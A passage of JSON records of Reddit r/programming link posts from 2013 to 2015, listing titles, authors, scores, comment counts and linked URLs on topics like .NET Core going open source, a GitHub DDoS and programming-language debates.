  "upvoteRatio": 0.95,
  "numComments": 622,
  "createdAt": "2015-04-16T20:29:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stackoverflow.com/questions/4456438/how-do-i-correctly-pass-the-string-null-an-employees-proper-surname-to-a-so",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_32ojeu",
  "url": "http://stackoverflow.com/questions/7825055/what-does-the-c-operator-do",
  "permalink": "https://www.reddit.com/r/programming/comments/32ojeu/the_operator/",
  "title": "The ??!??! operator",
  "body": null,
  "author": "godlikesme",
  "subreddit": "programming",
  "score": 3204,
  "upvoteRatio": 0.93,
  "numComments": 575,
  "createdAt": "2015-04-15T13:18:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stackoverflow.com/questions/7825055/what-does-the-c-operator-do",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_30hk3l",
  "url": "https://news.ycombinator.com/item?id=9275041",
  "permalink": "https://www.reddit.com/r/programming/comments/30hk3l/github_may_be_inaccessible_today_due_to_a_ddos/",
  "title": "Github may be inaccessible today due to a DDoS attack by the Chinese government using Baidu",
  "body": null,
  "author": "CritterNYC",
  "subreddit": "programming",
  "score": 3558,
  "upvoteRatio": 0.93,
  "numComments": 613,
  "createdAt": "2015-03-27T13:07:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.ycombinator.com/item?id=9275041",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2xone3",
  "url": "https://www.unrealengine.com/blog/ue4-is-free",
  "permalink": "https://www.reddit.com/r/programming/comments/2xone3/unreal_engine_4_available_for_free/",
  "title": "Unreal Engine 4 available for free",
  "body": null,
  "author": "johang88",
  "subreddit": "programming",
  "score": 5055,
  "upvoteRatio": 0.94,
  "numComments": 551,
  "createdAt": "2015-03-02T17:03:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.unrealengine.com/blog/ue4-is-free",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2xkgw3",
  "url": "https://github.com/bendc/frontend-guidelines",
  "permalink": "https://www.reddit.com/r/programming/comments/2xkgw3/frontendguidelines_some_html_css_and_js_best/",
  "title": "frontend-guidelines: Some HTML, CSS and JS best practices.",
  "body": null,
  "author": "based4",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.54,
  "numComments": 34,
  "createdAt": "2015-03-01T15:54:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/bendc/frontend-guidelines",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2wtpwy",
  "url": "http://www.latimes.com/business/la-fi-women-tech-20150222-story.html#page=1",
  "permalink": "https://www.reddit.com/r/programming/comments/2wtpwy/women_are_leaving_the_tech_industry_in_droves/",
  "title": "Women are leaving the tech industry in droves",
  "body": null,
  "author": "knife_sharpener",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.52,
  "numComments": 376,
  "createdAt": "2015-02-23T02:01:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.latimes.com/business/la-fi-women-tech-20150222-story.html#page=1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2wpxpw",
  "url": "http://www.forbes.com/sites/quora/2015/02/21/java-makes-programmers-want-to-do-absolutely-anything-else-with-their-time/",
  "permalink": "https://www.reddit.com/r/programming/comments/2wpxpw/java_makes_programmers_want_to_do_absolutely/",
  "title": "Java Makes Programmers Want To Do Absolutely Anything Else With Their Time",
  "body": null,
  "author": "knife_sharpener",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.52,
  "numComments": 636,
  "createdAt": "2015-02-22T02:13:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.forbes.com/sites/quora/2015/02/21/java-makes-programmers-want-to-do-absolutely-anything-else-with-their-time/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2vrinj",
  "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=126379",
  "permalink": "https://www.reddit.com/r/programming/comments/2vrinj/firefox_bug_open_since_2002_onchange_not_called/",
  "title": "Firefox Bug open since 2002: \"onChange not called using down arrow key\"",
  "body": null,
  "author": "clrnd",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.53,
  "numComments": 69,
  "createdAt": "2015-02-13T13:44:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=126379",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2vowcy",
  "url": "http://arxiv.org/pdf/1502.01410v1.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/2vowcy/stunning_95_of_java_programs_consist_of_nothing/",
  "title": "Stunning 95% of Java programs consist of nothing but boilerplate",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 110,
  "createdAt": "2015-02-12T21:04:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://arxiv.org/pdf/1502.01410v1.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2unrll",
  "url": "https://github.com/dotnet/coreclr",
  "permalink": "https://www.reddit.com/r/programming/comments/2unrll/net_core_is_on_github/",
  "title": ".NET Core is on Github!",
  "body": null,
  "author": "dthomasdidit",
  "subreddit": "programming",
  "score": 3241,
  "upvoteRatio": 0.92,
  "numComments": 928,
  "createdAt": "2015-02-03T18:11:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/dotnet/coreclr",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2riayd",
  "url": "http://dtrace.org/blogs/wesolows/2014/12/29/golang-is-trash/",
  "permalink": "https://www.reddit.com/r/programming/comments/2riayd/golang_is_trash/",
  "title": "Golang is trash",
  "body": null,
  "author": "zvrba",
  "subreddit": "programming",
  "score": 85,
  "upvoteRatio": 0.59,
  "numComments": 270,
  "createdAt": "2015-01-06T12:20:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dtrace.org/blogs/wesolows/2014/12/29/golang-is-trash/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2raa40",
  "url": "https://medium.com/@jugoncalves/functional-programming-should-be-your-1-priority-for-2015-47dd4641d6b9",
  "permalink": "https://www.reddit.com/r/programming/comments/2raa40/functional_programming_should_be_your_1_priority/",
  "title": "Functional Programming should be your #1 priority for 2015",
  "body": null,
  "author": "lukaseder",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.54,
  "numComments": 254,
  "createdAt": "2015-01-04T07:55:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@jugoncalves/functional-programming-should-be-your-1-priority-for-2015-47dd4641d6b9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2qpsd9",
  "url": "http://www.lofibucket.com/articles/oscilloscope_quake.html",
  "permalink": "https://www.reddit.com/r/programming/comments/2qpsd9/quake_running_on_an_oscilloscope/",
  "title": "Quake running on an oscilloscope",
  "body": null,
  "author": "iwastetimehere",
  "subreddit": "programming",
  "score": 3222,
  "upvoteRatio": 0.94,
  "numComments": 213,
  "createdAt": "2014-12-29T15:23:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.lofibucket.com/articles/oscilloscope_quake.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2qlxvh",
  "url": "http://linuxfonts.narod.ru/why.linux.is.not.ready.for.the.desktop.current.html",
  "permalink": "https://www.reddit.com/r/programming/comments/2qlxvh/major_linux_problems_on_the_desktop_2015_edition/",
  "title": "Major Linux Problems on the Desktop 2015 edition",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 51,
  "createdAt": "2014-12-28T10:24:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://linuxfonts.narod.ru/why.linux.is.not.ready.for.the.desktop.current.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2q3jp2",
  "url": "http://www.jeremytunnell.com/posts/swab-password-policies-and-two-factor-authentication-a-comedy-of-errors",
  "permalink": "https://www.reddit.com/r/programming/comments/2q3jp2/how_not_to_perform_password_security/",
  "title": "How NOT to perform password security",
  "body": null,
  "author": "vortel",
  "subreddit": "programming",
  "score": 3240,
  "upvoteRatio": 0.95,
  "numComments": 644,
  "createdAt": "2014-12-22T19:50:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.jeremytunnell.com/posts/swab-password-policies-and-two-factor-authentication-a-comedy-of-errors",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2pyf4a",
  "url": "https://www.youtube.com/watch?v=0-dVp542XGk&feature=youtu.be",
  "permalink": "https://www.reddit.com/r/programming/comments/2pyf4a/why_davis_templeos_is_better_than_torvalds_linux/",
  "title": "Why Davis' TempleOS is better than Torvalds' Linux.",
  "body": null,
  "author": "TempleOS_Terry_Davis",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.53,
  "numComments": 58,
  "createdAt": "2014-12-21T06:55:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=0-dVp542XGk&feature=youtu.be",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2pk5fm",
  "url": "http://yarchive.net/comp/linux/semaphores.html",
  "permalink": "https://www.reddit.com/r/programming/comments/2pk5fm/linus_torvalds_on_semaphores_djikstra_was_on_drugs/",
  "title": "Linus Torvalds on semaphores - Djikstra was on drugs",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 75,
  "upvoteRatio": 0.57,
  "numComments": 91,
  "createdAt": "2014-12-17T08:09:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://yarchive.net/comp/linux/semaphores.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2oldex",
  "url": "http://pgbovine.net/programmers-talking-to-beginners.htm",
  "permalink": "https://www.reddit.com/r/programming/comments/2oldex/programmers_please_dont_ever_say_this_to_beginners/",
  "title": "Programmers: Please don't ever say this to beginners ...",
  "body": null,
  "author": "dennis9f",
  "subreddit": "programming",
  "score": 3987,
  "upvoteRatio": 0.89,
  "numComments": 1325,
  "createdAt": "2014-12-07T23:28:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://pgbovine.net/programmers-talking-to-beginners.htm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2nuygf",
  "url": "http://harmful.cat-v.org/software/OO_programming/",
  "permalink": "https://www.reddit.com/r/programming/comments/2nuygf/object_oriented_programming_is_inherently_harmful/",
  "title": "Object Oriented Programming is Inherently Harmful",
  "body": null,
  "author": "davey_b",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 107,
  "createdAt": "2014-11-30T18:06:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://harmful.cat-v.org/software/OO_programming/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2ntm41",
  "url": "http://missingbytes.blogspot.com/2014/11/why-he-vertically-aligns-his-code-and.html",
  "permalink": "https://www.reddit.com/r/programming/comments/2ntm41/why_he_vertically_aligns_his_code_and_why_you/",
  "title": "Why he vertically aligns his code (And why you shouldn't!)",
  "body": null,
  "author": "Nowaker",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.52,
  "numComments": 411,
  "createdAt": "2014-11-30T05:27:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://missingbytes.blogspot.com/2014/11/why-he-vertically-aligns-his-code-and.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2m2w3b",
  "url": "http://blogs.msdn.com/b/dotnet/archive/2014/11/12/net-core-is-open-source.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/2m2w3b/the_net_core_is_now_opensource/",
  "title": "The .NET Core is now open-source.",
  "body": null,
  "author": "rionmonster",
  "subreddit": "programming",
  "score": 6519,
  "upvoteRatio": 0.95,
  "numComments": 1813,
  "createdAt": "2014-11-12T15:42:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.msdn.com/b/dotnet/archive/2014/11/12/net-core-is-open-source.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2lyeqc",
  "url": "https://groups.google.com/forum/#!msg/comp.lang.java/aSPAJO05LIU/ushhUIQQ-ogJ",
  "permalink": "https://www.reddit.com/r/programming/comments/2lyeqc/larry_pages_java_question_1996_every_journey/",
  "title": "Larry Page's Java question – 1996 - every journey begins somewhere :-)",
  "body": null,
  "author": "mrjoegreen",
  "subreddit": "programming",
  "score": 3375,
  "upvoteRatio": 0.94,
  "numComments": 656,
  "createdAt": "2014-11-11T10:45:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://groups.google.com/forum/#!msg/comp.lang.java/aSPAJO05LIU/ushhUIQQ-ogJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2loa87",
  "url": "https://www.eff.org/press/releases/computer-scientists-ask-supreme-court-rule-apis-cant-be-copyrighted",
  "permalink": "https://www.reddit.com/r/programming/comments/2loa87/computer_scientists_ask_supreme_court_to_rule/",
  "title": "Computer Scientists Ask Supreme Court to Rule APIs Can’t Be Copyrighted: EFF Files Amicus Brief on Behalf of Tech Pioneers in Oracle v. Google Court Battle",
  "body": null,
  "author": "electronics-engineer",
  "subreddit": "programming",
  "score": 3195,
  "upvoteRatio": 0.95,
  "numComments": 342,
  "createdAt": "2014-11-08T14:10:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eff.org/press/releases/computer-scientists-ask-supreme-court-rule-apis-cant-be-copyrighted",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2jtl66",
  "url": "http://code.flickr.net/2014/10/20/introducing-flickr-park-or-bird/",
  "permalink": "https://www.reddit.com/r/programming/comments/2jtl66/flickr_solves_xkcd_1425_determine_whether_a_photo/",
  "title": "Flickr solves XKCD 1425 - determine whether a photo is of a national park or a bird",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4400,
  "upvoteRatio": 0.93,
  "numComments": 488,
  "createdAt": "2014-10-20T20:53:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://code.flickr.net/2014/10/20/introducing-flickr-park-or-bird/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2jn9lr",
  "url": "http://archive.vector.org.uk/art10501320",
  "permalink": "https://www.reddit.com/r/programming/comments/2jn9lr/kos_is_coming6_nothing_will_be_the_same_afterwards/",
  "title": "kOS is coming.[6] Nothing will be the same afterwards.",
  "body": null,
  "author": "willvarfar",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 73,
  "createdAt": "2014-10-18T22:57:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://archive.vector.org.uk/art10501320",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2jdnsb",
  "url": "https://www.semitwist.com/mirror/node-js-is-cancer.html",
  "permalink": "https://www.reddit.com/r/programming/comments/2jdnsb/nodejs_is_cancer/",
  "title": "Node.js is cancer",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 39,
  "upvoteRatio": 0.52,
  "numComments": 302,
  "createdAt": "2014-10-16T01:59:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.semitwist.com/mirror/node-js-is-cancer.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2gow2c",
  "url": "http://erenyagdiran.github.io/I-was-just-asked-to-crack-a-program-Part-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/2gow2c/i_was_just_asked_to_crack_a_program_in_a_job/",
  "title": "I was just asked to crack a program in a job interview",
  "body": null,
  "author": "durdn",
  "subreddit": "programming",
  "score": 3016,
  "upvoteRatio": 0.93,
  "numComments": 746,
  "createdAt": "2014-09-17T19:57:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://erenyagdiran.github.io/I-was-just-asked-to-crack-a-program-Part-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2ffw1d",
  "url": "http://www.informationweek.com/government/leadership/coding-school-for-kids-/a/d-id/1306858",
  "permalink": "https://www.reddit.com/r/programming/comments/2ffw1d/programming_becomes_part_of_finnish_primary/",
  "title": "Programming becomes part of Finnish primary school curriculum - from the age of 7",
  "body": null,
  "author": "cybrbeast",
  "subreddit": "programming",
  "score": 3945,
  "upvoteRatio": 0.94,
  "numComments": 620,
  "createdAt": "2014-09-04T09:46:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.informationweek.com/government/leadership/coding-school-for-kids-/a/d-id/1306858",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_2b4iwp",
  "url": "https://www.kickstarter.com/projects/xiki/xiki-the-command-revolution/",
  "permalink": "https://www.reddit.com/r/programming/comments/2b4iwp/xiki_kickstarter_almost_funded_77670_of_80000/",
  "title": "Xiki Kickstarter almost funded ($77,670 of $80,000), about a day left",
  "body": null,
  "author": "aminb",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.54,
  "numComments": 65,
  "createdAt": "2014-07-19T11:14:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.kickstarter.com/projects/xiki/xiki-the-command-revolution/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_27mefd",
  "url": "http://www.reading.ac.uk/news-and-events/releases/PR583836.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/27mefd/eugene_ai_passes_the_turing_test_success/",
  "title": "Eugene AI passes the Turing Test success",
  "body": null,
  "author": "willvarfar",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 29,
  "createdAt": "2014-06-08T15:12:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.reading.ac.uk/news-and-events/releases/PR583836.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_26j26w",
  "url": "https://medium.com/@deliciousrobots/5d2ad703365d",
  "permalink": "https://www.reddit.com/r/programming/comments/26j26w/python_3_is_killing_python/",
  "title": "Python 3 is killing Python",
  "body": null,
  "author": "Brainlag",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 60,
  "createdAt": "2014-05-26T16:10:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@deliciousrobots/5d2ad703365d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_24a87h",
  "url": "http://stilldrinking.org/programming-sucks",
  "permalink": "https://www.reddit.com/r/programming/comments/24a87h/programming_sucks/",
  "title": "Programming Sucks",
  "body": null,
  "author": "locrelite",
  "subreddit": "programming",
  "score": 3895,
  "upvoteRatio": 0.94,
  "numComments": 1128,
  "createdAt": "2014-04-29T15:39:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stilldrinking.org/programming-sucks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_236bl9",
  "url": "https://www.youtube.com/watch?v=rBHjx4dYxjA",
  "permalink": "https://www.reddit.com/r/programming/comments/236bl9/computer_simulations_teaching_themselves_to_walk/",
  "title": "Computer simulations teaching themselves to walk - an unintentionally hilarious video (x-post from /r/Algorithms)",
  "body": null,
  "author": "confluencer",
  "subreddit": "programming",
  "score": 2974,
  "upvoteRatio": 0.93,
  "numComments": 369,
  "createdAt": "2014-04-16T12:16:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=rBHjx4dYxjA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_21xmvn",
  "url": "https://stormpath.com/blog/why-you-might-want-to-store-your-passwords-in-plain-text",
  "permalink": "https://www.reddit.com/r/programming/comments/21xmvn/why_you_might_want_to_store_your_passwords_in/",
  "title": "Why You Might Want to Store Your Passwords in Plain Text",
  "body": null,
  "author": "rdegges",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 28,
  "createdAt": "2014-04-01T16:22:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stormpath.com/blog/why-you-might-want-to-store-your-passwords-in-plain-text",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_21bzzh",
  "url": "http://blogs.technet.com/b/microsoft_blog/archive/2014/03/25/microsoft-makes-source-code-for-ms-dos-and-word-for-windows-available-to-public.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/21bzzh/microsoft_makes_source_code_for_msdos_and_word/",
  "title": "Microsoft makes source code for MS-DOS and Word for Windows available to public!",
  "body": null,
  "author": "hmemcpy",
  "subreddit": "programming",
  "score": 3170,
  "upvoteRatio": 0.95,
  "numComments": 640,
  "createdAt": "2014-03-25T16:34:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.technet.com/b/microsoft_blog/archive/2014/03/25/microsoft-makes-source-code-for-ms-dos-and-word-for-windows-available-to-public.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ywj0z",
  "url": "http://blog.smartbear.com/programming/please-stop-staying-java-sucks/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ywj0z/please_stop_saying_java_sucks/",
  "title": "Please stop saying Java sucks",
  "body": null,
  "author": "johnwaterwood",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 305,
  "createdAt": "2014-02-25T16:47:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.smartbear.com/programming/please-stop-staying-java-sucks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1yj2y0",
  "url": "http://thehackernews.com/2014/02/programming-tutorials-with-DuckDuckGo_21.html#sthash.S5r2MTp7.sfju",
  "permalink": "https://www.reddit.com/r/programming/comments/1yj2y0/learn_how_duckduckgo_search_engine_helps_you_to/",
  "title": "Learn How DuckDuckGo Search Engine helps you to be a Good Programmer",
  "body": null,
  "author": "sudhirbansalk",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 39,
  "createdAt": "2014-02-21T12:08:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://thehackernews.com/2014/02/programming-tutorials-with-DuckDuckGo_21.html#sthash.S5r2MTp7.sfju",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1xlqeu",
  "url": "http://i.imgur.com/1m55Wqo.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/1xlqeu/sql_joins_explained_xpost_rsql/",
  "title": "SQL Joins Explained (x-post r/SQL)",
  "body": null,
  "author": "deadman87",
  "subreddit": "programming",
  "score": 3502,
  "upvoteRatio": 0.93,
  "numComments": 393,
  "createdAt": "2014-02-11T10:31:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i.imgur.com/1m55Wqo.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1stwae",
  "url": "https://bitbucket.org/FeministSoftwareFoundation/c-plus-equality",
  "permalink": "https://www.reddit.com/r/programming/comments/1stwae/c_a_feminist_programming_language/",
  "title": "C+=, A Feminist Programming Language",
  "body": null,
  "author": "FeministSoftwareFoun",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 47,
  "createdAt": "2013-12-13T23:13:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
